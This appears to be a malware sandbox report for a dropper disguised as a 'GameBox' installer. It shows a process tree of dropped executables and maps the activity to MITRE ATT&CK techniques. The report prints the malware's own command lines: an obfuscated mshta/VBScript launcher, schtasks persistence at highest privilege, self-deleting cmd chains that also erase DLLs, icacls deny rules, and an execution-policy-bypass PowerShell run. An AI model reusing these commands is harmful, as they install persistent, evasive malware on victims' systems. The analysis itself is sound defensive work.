        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fak4n2lp.o1i\ufgaa.exe & exit
        9⤵
        
        PID:4252
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\x3c2nz0i.gkf\anyname.exe & exit
        9⤵
        
        PID:612
    - - C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent
        5⤵
        Executes dropped EXE
        
        PID:2504
      - C:\Users\Admin\AppData\Local\Temp\is-VBB78.tmp\VPN.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-VBB78.tmp\VPN.tmp" /SL5="$10314,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent
        6⤵
        
        PID:1300
    - - C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe"
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2672
      - C:\Users\Admin\AppData\Roaming\7315335.exe
        
        "C:\Users\Admin\AppData\Roaming\7315335.exe"
        6⤵
        
        PID:2452
      - C:\Users\Admin\AppData\Roaming\3483096.exe
        
        "C:\Users\Admin\AppData\Roaming\3483096.exe"
        6⤵
        
        PID:2544
      - C:\Users\Admin\AppData\Roaming\4754000.exe
        
        "C:\Users\Admin\AppData\Roaming\4754000.exe"
        6⤵
        
        PID:2140
      - C:\Users\Admin\AppData\Roaming\8883702.exe
        
        "C:\Users\Admin\AppData\Roaming\8883702.exe"
        6⤵
        
        PID:2608
      - C:\Users\Admin\AppData\Roaming\2558543.exe
        
        "C:\Users\Admin\AppData\Roaming\2558543.exe"
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1780
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1780 -s 1704
        7⤵
        Program crash
        
        PID:3780
    - - C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"
        5⤵
        
        PID:2856
      - C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe" -q
        6⤵
        
        PID:2320
    - - C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe"
        5⤵
        
        PID:2280
    - - C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe"
        5⤵
        
        PID:2928
      - C:\Users\Admin\Documents\ZbZqCDAV1loBd_j5n722Wfsm.exe
        
        "C:\Users\Admin\Documents\ZbZqCDAV1loBd_j5n722Wfsm.exe"
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2196
      - C:\Users\Admin\Documents\ZTPlsg8p2KhYPiGD6hzu15Bs.exe
        
        "C:\Users\Admin\Documents\ZTPlsg8p2KhYPiGD6hzu15Bs.exe"
        6⤵
        
        PID:2188
      - C:\Users\Admin\Documents\EdWhHuZBECrBrqRGfYXVq4IE.exe
        
        "C:\Users\Admin\Documents\EdWhHuZBECrBrqRGfYXVq4IE.exe"
        6⤵
        
        PID:1124
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "EdWhHuZBECrBrqRGfYXVq4IE.exe" /f & erase "C:\Users\Admin\Documents\EdWhHuZBECrBrqRGfYXVq4IE.exe" & exit
        7⤵
        
        PID:3524
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "EdWhHuZBECrBrqRGfYXVq4IE.exe" /f
        8⤵
        Kills process with taskkill
        
        PID:4700
      - C:\Users\Admin\Documents\4nRACK3GDqyZxiYJaWyARdJ_.exe
        
        "C:\Users\Admin\Documents\4nRACK3GDqyZxiYJaWyARdJ_.exe"
        6⤵
        
        PID:2152
      - C:\Users\Admin\Documents\mgeBgsbA8PWLfhmGB_tf4tBg.exe
        
        "C:\Users\Admin\Documents\mgeBgsbA8PWLfhmGB_tf4tBg.exe"
        6⤵
        
        PID:2456
      - C:\Users\Admin\Documents\krASzmAHC5zVRNRnhalW4jkk.exe
        
        "C:\Users\Admin\Documents\krASzmAHC5zVRNRnhalW4jkk.exe"
        6⤵
        
        PID:3016
        
        C:\Users\Admin\Documents\krASzmAHC5zVRNRnhalW4jkk.exe
        
        C:\Users\Admin\Documents\krASzmAHC5zVRNRnhalW4jkk.exe
        7⤵
        
        PID:4140
      - C:\Users\Admin\Documents\u_K_LnyEnm0madltummTCnL8.exe
        
        "C:\Users\Admin\Documents\u_K_LnyEnm0madltummTCnL8.exe"
        6⤵
        
        PID:600
        
        C:\Users\Admin\Documents\u_K_LnyEnm0madltummTCnL8.exe
        
        "C:\Users\Admin\Documents\u_K_LnyEnm0madltummTCnL8.exe"
        7⤵
        
        PID:2944
      - C:\Users\Admin\Documents\3n8MpoY8iWGQcG0YmnLDs4Hk.exe
        
        "C:\Users\Admin\Documents\3n8MpoY8iWGQcG0YmnLDs4Hk.exe"
        6⤵
        
        PID:2408
        
        C:\Users\Admin\Documents\3n8MpoY8iWGQcG0YmnLDs4Hk.exe
        
        C:\Users\Admin\Documents\3n8MpoY8iWGQcG0YmnLDs4Hk.exe
        7⤵
        
        PID:1248
      - C:\Users\Admin\Documents\DcqnpcVCYV9G2HngoVVnZjAV.exe
        
        "C:\Users\Admin\Documents\DcqnpcVCYV9G2HngoVVnZjAV.exe"
        6⤵
        
        PID:752
      - C:\Users\Admin\Documents\icqBbf5GnBIQm3HVST1WD2lA.exe
        
        "C:\Users\Admin\Documents\icqBbf5GnBIQm3HVST1WD2lA.exe"
        6⤵
        
        PID:268
      - C:\Users\Admin\Documents\KBj329MAaryAHTI4fgvEsVRu.exe
        
        "C:\Users\Admin\Documents\KBj329MAaryAHTI4fgvEsVRu.exe"
        6⤵
        
        PID:3112
      - C:\Users\Admin\Documents\wgn9up9xa822i5pph5otoFSc.exe
        
        "C:\Users\Admin\Documents\wgn9up9xa822i5pph5otoFSc.exe"
        6⤵
        
        PID:3104
      - C:\Users\Admin\Documents\7tFdX2LmDeC8nj3QRvFw4SrI.exe
        
        "C:\Users\Admin\Documents\7tFdX2LmDeC8nj3QRvFw4SrI.exe"
        6⤵
        
        PID:3212
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Users\Admin\DOCUME~1\7TFDX2~1.DLL,s C:\Users\Admin\DOCUME~1\7TFDX2~1.EXE
        7⤵
        
        PID:3704
        
        C:\Windows\SysWOW64\RUNDLL32.EXE
        
        C:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\7TFDX2~1.DLL,TQtCZ2s=
        8⤵
        
        PID:2540
        
        C:\Windows\SysWOW64\RUNDLL32.EXE
        
        C:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\7TFDX2~1.DLL,fGEaN01pVQ==
        9⤵
        
        PID:2008
        
        C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\shell32.dll,#61 15608
        10⤵
        
        PID:1256
        
        C:\Windows\system32\ctfmon.exe
        
        ctfmon.exe
        11⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3080
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Executionpolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\tmp7A3F.tmp.ps1"
        9⤵
        
        PID:4672
      - C:\Users\Admin\Documents\pOoOvYdiKYtfV1FZNKY6vfPj.exe
        
        "C:\Users\Admin\Documents\pOoOvYdiKYtfV1FZNKY6vfPj.exe"
        6⤵
        
        PID:3096
      - C:\Users\Admin\Documents\xbWPxL5cRZmOxj5TRq05DCfB.exe
        
        "C:\Users\Admin\Documents\xbWPxL5cRZmOxj5TRq05DCfB.exe"
        6⤵
        
        PID:3088
        
        C:\Users\Admin\AppData\Roaming\4343945.exe
        
        "C:\Users\Admin\AppData\Roaming\4343945.exe"
        7⤵
        
        PID:3184
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 3184 -s 1592
        8⤵
        Program crash
        
        PID:3296
        
        C:\Users\Admin\AppData\Roaming\2205262.exe
        
        "C:\Users\Admin\AppData\Roaming\2205262.exe"
        7⤵
        
        PID:3180
        
        C:\Users\Admin\AppData\Roaming\2325699.exe
        
        "C:\Users\Admin\AppData\Roaming\2325699.exe"
        7⤵
        
        PID:3264
        
        C:\Users\Admin\AppData\Roaming\8526479.exe
        
        "C:\Users\Admin\AppData\Roaming\8526479.exe"
        7⤵
        
        PID:2040
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2040 -s 1648
        8⤵
        Program crash
        
        PID:4048
      - C:\Users\Admin\Documents\gBKXJ9FpYCDE68qJXEQkZa12.exe
        
        "C:\Users\Admin\Documents\gBKXJ9FpYCDE68qJXEQkZa12.exe"
        6⤵
        
        PID:3080
      - C:\Users\Admin\Documents\42gllUOS4eHNhWtr7aWas8ZI.exe
        
        "C:\Users\Admin\Documents\42gllUOS4eHNhWtr7aWas8ZI.exe"
        6⤵
        
        PID:2328
        
        C:\Users\Admin\Documents\42gllUOS4eHNhWtr7aWas8ZI.exe
        
        "C:\Users\Admin\Documents\42gllUOS4eHNhWtr7aWas8ZI.exe"
        7⤵
        
        PID:3876
      - C:\Users\Admin\Documents\QfDUDqYpvLWjwEb4R7EeHRnB.exe
        
        "C:\Users\Admin\Documents\QfDUDqYpvLWjwEb4R7EeHRnB.exe"
        6⤵
        
        PID:2188
      - C:\Users\Admin\Documents\VeUBmguDTAz6A9IQ4bydPc4z.exe
        
        "C:\Users\Admin\Documents\VeUBmguDTAz6A9IQ4bydPc4z.exe"
        6⤵
        
        PID:480
        
        C:\Users\Admin\Documents\VeUBmguDTAz6A9IQ4bydPc4z.exe
        
        "C:\Users\Admin\Documents\VeUBmguDTAz6A9IQ4bydPc4z.exe" -q
        7⤵
        
        PID:4428
      - C:\Users\Admin\Documents\4wQ9f1r6pa13GR9CSb0FjYdr.exe
        
        "C:\Users\Admin\Documents\4wQ9f1r6pa13GR9CSb0FjYdr.exe"
        6⤵
        
        PID:2724
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbSCRipt:ClOSe( creATEoBJEcT("WscRIpT.sHEll" ).RUN("Cmd /Q /C tYPe ""C:\Users\Admin\Documents\4wQ9f1r6pa13GR9CSb0FjYdr.exe"" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if """" == """" for %W iN ( ""C:\Users\Admin\Documents\4wQ9f1r6pa13GR9CSb0FjYdr.exe"" ) do taskkill -IM ""%~nXW"" -f " ,0 ,TRUE ) )
        7⤵
        
        PID:4828
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /C tYPe "C:\Users\Admin\Documents\4wQ9f1r6pa13GR9CSb0FjYdr.exe" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if ""=="" for %W iN ( "C:\Users\Admin\Documents\4wQ9f1r6pa13GR9CSb0FjYdr.exe") do taskkill -IM "%~nXW" -f
        8⤵
        
        PID:844
        
        C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe
        
        WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9
        9⤵
        
        PID:1488
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -IM "4wQ9f1r6pa13GR9CSb0FjYdr.exe" -f
        9⤵
        Kills process with taskkill
        
        PID:3240
      - C:\Users\Admin\Documents\LF_653CSFHFXYq6Fvu90B1o5.exe
        
        "C:\Users\Admin\Documents\LF_653CSFHFXYq6Fvu90B1o5.exe"
        6⤵
        
        PID:2692
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im LF_653CSFHFXYq6Fvu90B1o5.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\LF_653CSFHFXYq6Fvu90B1o5.exe" & del C:\ProgramData\*.dll & exit
        7⤵
        
        PID:3880
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im LF_653CSFHFXYq6Fvu90B1o5.exe /f
        8⤵
        Kills process with taskkill
        
        PID:4180
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        8⤵
        Delays execution with timeout.exe
        
        PID:3680
      - C:\Users\Admin\Documents\5XphycgsVnN2Ju1jewrquAyh.exe
        
        "C:\Users\Admin\Documents\5XphycgsVnN2Ju1jewrquAyh.exe"
        6⤵
        
        PID:3024
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "5XphycgsVnN2Ju1jewrquAyh.exe" /f & erase "C:\Users\Admin\Documents\5XphycgsVnN2Ju1jewrquAyh.exe" & exit
        7⤵
        
        PID:4036
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "5XphycgsVnN2Ju1jewrquAyh.exe" /f
        8⤵
        Kills process with taskkill
        
        PID:4628
      - C:\Users\Admin\Documents\rLz4J2VqhE1NgWTFPcvAf6LB.exe
        
        "C:\Users\Admin\Documents\rLz4J2VqhE1NgWTFPcvAf6LB.exe"
        6⤵
        
        PID:1928
      - C:\Users\Admin\Documents\mJhlos4lsbgFtUfS_auNAKXI.exe
        
        "C:\Users\Admin\Documents\mJhlos4lsbgFtUfS_auNAKXI.exe"
        6⤵
        
        PID:3988
        
        C:\Users\Admin\AppData\Local\Temp\is-6OKDA.tmp\mJhlos4lsbgFtUfS_auNAKXI.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-6OKDA.tmp\mJhlos4lsbgFtUfS_auNAKXI.tmp" /SL5="$400D8,138429,56832,C:\Users\Admin\Documents\mJhlos4lsbgFtUfS_auNAKXI.exe"
        7⤵
        
        PID:1500
    - - C:\Program Files (x86)\GameBox INC\GameBox\RuntimeBroker.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\RuntimeBroker.exe"
        5⤵
        
        PID:2464
      - C:\Program Files (x86)\GameBox INC\GameBox\RuntimeBroker.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\RuntimeBroker.exe"
        6⤵
        
        PID:4480

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Windows\System32\api-ms-win-core-localization-l1-1-0\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2248

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "40wR120o4rDIPX58VnMl27bl" /sc ONLOGON /tr "'C:\Users\Admin\Documents\ConnectResolve\40wR120o4rDIPX58VnMl27bl.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2256

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "0ZRHTkgGEY56RpC79wWBJJ4t" /sc ONLOGON /tr "'C:\Users\Admin\Documents\SelectConvert\0ZRHTkgGEY56RpC79wWBJJ4t.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2276

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\ProgramData\Start Menu\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2300

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:2304
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 96E920C2D9D02751CFBAE1B1151214F4 C
  2⤵
  PID:4084
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 86AD53B7A481A0B6DC5742A9563C8699
  2⤵
  PID:1328

C:\Users\Admin\AppData\Local\Temp\A41C.exe
C:\Users\Admin\AppData\Local\Temp\A41C.exe
1⤵
PID:4132
- C:\Users\Admin\AppData\Local\Temp\A41C.exe
  C:\Users\Admin\AppData\Local\Temp\A41C.exe
  2⤵
  PID:4592
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\e1d88879-2d1f-48c1-bf04-378514461a57" /deny *S-1-1-0:(OI)(CI)(DE,DC)
    3⤵
    - Modifies file permissions
    PID:3476
- - C:\Users\Admin\AppData\Local\Temp\A41C.exe
    "C:\Users\Admin\AppData\Local\Temp\A41C.exe" --Admin IsNotAutoStart IsNotTask
    3⤵
    PID:4000

C:\Users\Admin\AppData\Local\Temp\D9FB.exe
C:\Users\Admin\AppData\Local\Temp\D9FB.exe
1⤵
PID:4248

C:\Users\Admin\AppData\Local\Temp\F124.exe
C:\Users\Admin\AppData\Local\Temp\F124.exe
1⤵
PID:5036

C:\Users\Admin\AppData\Local\Temp\124C.exe
C:\Users\Admin\AppData\Local\Temp\124C.exe
1⤵
PID:3688

C:\Users\Admin\AppData\Local\Temp\3A95.exe
C:\Users\Admin\AppData\Local\Temp\3A95.exe
1⤵
PID:4176

C:\Users\Admin\AppData\Local\Temp\9F60.exe
C:\Users\Admin\AppData\Local\Temp\9F60.exe
1⤵
PID:2668
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /im 9F60.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\9F60.exe" & del C:\ProgramData\*.dll & exit
  2⤵
  PID:592
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /im 9F60.exe /f
    3⤵
    - Kills process with taskkill
    PID:4560
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 6
    3⤵
    - Delays execution with timeout.exe
    PID:4412

C:\Users\Admin\AppData\Local\Temp\30D7.exe
C:\Users\Admin\AppData\Local\Temp\30D7.exe
1⤵
PID:3712

C:\Users\Admin\AppData\Local\Temp\8879.exe
C:\Users\Admin\AppData\Local\Temp\8879.exe
1⤵
PID:4816

C:\Users\Admin\AppData\Local\Temp\F54F.exe
C:\Users\Admin\AppData\Local\Temp\F54F.exe
1⤵
PID:2904
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\pybaiuq\
  2⤵
  PID:2260

C:\Users\Admin\AppData\Local\Temp\BC75.exe
C:\Users\Admin\AppData\Local\Temp\BC75.exe
1⤵
PID:4512

C:\Users\Admin\AppData\Local\Temp\E828.exe
C:\Users\Admin\AppData\Local\Temp\E828.exe
1⤵
PID:3268

C:\Users\Admin\AppData\Local\Temp\2C69.exe
C:\Users\Admin\AppData\Local\Temp\2C69.exe
1⤵
PID:3548
- C:\Users\Admin\AppData\Local\Temp\2C69.exe
  "C:\Users\Admin\AppData\Local\Temp\2C69.exe"
  2⤵
  PID:3512

C:\Windows\system32\taskeng.exe
taskeng.exe {891FFCDB-B2F1-4938-B119-FA2ECBFE10D0} S-1-5-21-2455352368-1077083310-2879168483-1000:QWOCTUPM\Admin:Interactive:[1]
1⤵
PID:2456
- C:\Users\Admin\AppData\Roaming\bgevsag
  C:\Users\Admin\AppData\Roaming\bgevsag
  2⤵
  PID:4668
- C:\Users\Admin\AppData\Roaming\hvevsag
  C:\Users\Admin\AppData\Roaming\hvevsag
  2⤵
  PID:2728
- C:\Users\Admin\AppData\Local\e1d88879-2d1f-48c1-bf04-378514461a57\A41C.exe
  C:\Users\Admin\AppData\Local\e1d88879-2d1f-48c1-bf04-378514461a57\A41C.exe --Task
  2⤵
  PID:916

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:3812

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3840

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4200

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:4804

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:3716

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:4444

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4168

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:4104

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:4752

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:5016

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3096

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:2928

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:2532

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3604

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:1776

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:2908

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:896

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:4664

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

File and Directory Permissions Modification

T1222

Install Root Certificate

T1130

Modify Registry

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery